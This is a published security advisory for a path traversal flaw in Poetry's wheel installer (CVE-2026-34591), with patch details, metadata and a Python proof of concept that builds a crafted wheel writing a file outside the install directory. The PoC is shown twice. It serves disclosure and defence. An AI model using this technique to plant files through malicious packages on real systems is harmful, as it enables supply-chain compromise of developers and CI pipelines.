GHSA-2599-H6XX-HPXP
Vulnerability from github – Published: 2026-04-01 22:17 – Updated: 2026-04-15 20:53Summary
A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process.
Impact
Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.
Patches
Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.
Details
Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:
src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59
The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607
No resolve() + is_relative_to() style guard is enforced before writing.
POC
from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination
root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
d.mkdir(parents=True, exist_ok=True)
files = {
"evil/__init__.py": b"",
"../../pwned.txt": b"owned\n",
"evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
"evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()
with zipfile.ZipFile(wheel, "w") as z:
for k,v in files.items(): z.writestr(k,v)
dest = WheelDestination(
{"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
install(src, dest, {"INSTALLER": b"PoC"})
out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.3.2"
},
"package": {
"ecosystem": "PyPI",
"name": "poetry"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "2.3.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34591"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T22:17:36Z",
"nvd_published_at": "2026-04-02T18:16:31Z",
"severity": "HIGH"
},
"details": "### Summary\nA crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. \n\n### Impact\nArbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.\n\n### Patches\n\nVersions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.\n\n### Details\nPoetry\u2019s wheel destination path is built by directly joining an untrusted wheel entry path:\n\nsrc/poetry/installation/wheel_installer.py:47\nsrc/poetry/installation/wheel_installer.py:59\n\nThe vulnerable sink is reachable in normal installation:\nsrc/poetry/installation/executor.py:607\n\nNo resolve() + is_relative_to() style guard is enforced before writing.\n\n### POC\n\n```\nfrom pathlib import Path\nimport tempfile, zipfile, sys\nfrom installer import install\nfrom installer.sources import WheelFile\nfrom poetry.installation.wheel_installer import WheelDestination\n\nroot = Path(tempfile.mkdtemp(prefix=\"poetry-poc-\"))\nwheel = root / \"evil-0.1-py3-none-any.whl\"\nbase = root / \"venv\" / \"lib\" / \"pythonX\" / \"site-packages\"\nfor d in [base, root/\"venv/scripts\", root/\"venv/headers\", root/\"venv/data\"]:\n d.mkdir(parents=True, exist_ok=True)\n\nfiles = {\n \"evil/__init__.py\": b\"\",\n \"../../pwned.txt\": b\"owned\\n\",\n \"evil-0.1.dist-info/WHEEL\": b\"Wheel-Version: 1.0\\nRoot-Is-Purelib: true\\nTag: py3-none-any\\n\",\n \"evil-0.1.dist-info/METADATA\": b\"Metadata-Version: 2.1\\nName: evil\\nVersion: 0.1\\n\",\n}\nfiles[\"evil-0.1.dist-info/RECORD\"] = (\"\\n\".join([f\"{k},,\" for k in files] + [\"evil-0.1.dist-info/RECORD,,\"])+\"\\n\").encode()\n\nwith zipfile.ZipFile(wheel, \"w\") as z:\n for k,v in files.items(): z.writestr(k,v)\n\ndest = WheelDestination(\n {\"purelib\":str(base),\"platlib\":str(base),\"scripts\":str(root/\"venv/scripts\"),\"headers\":str(root/\"venv/headers\"),\"data\":str(root/\"venv/data\")},\n interpreter=sys.executable, script_kind=\"posix\"\n)\nwith WheelFile.open(wheel) as src:\n install(src, dest, {\"INSTALLER\": b\"PoC\"})\n\nout = (base / \"../../pwned.txt\").resolve()\nprint(\"outside write:\", out.exists(), out)\n```",
"id": "GHSA-2599-h6xx-hpxp",
"modified": "2026-04-15T20:53:26Z",
"published": "2026-04-01T22:17:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34591"
},
{
"type": "WEB",
"url": "https://github.com/python-poetry/poetry/pull/10792"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-poetry/poetry"
},
{
"type": "WEB",
"url": "https://github.com/python-poetry/poetry/releases/tag/2.3.3"
},
{
"type": "WEB",
"url": "http://github.com/python-poetry/poetry/commit/ed59537ac3709cfbdbf95d957de801c13872991a"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.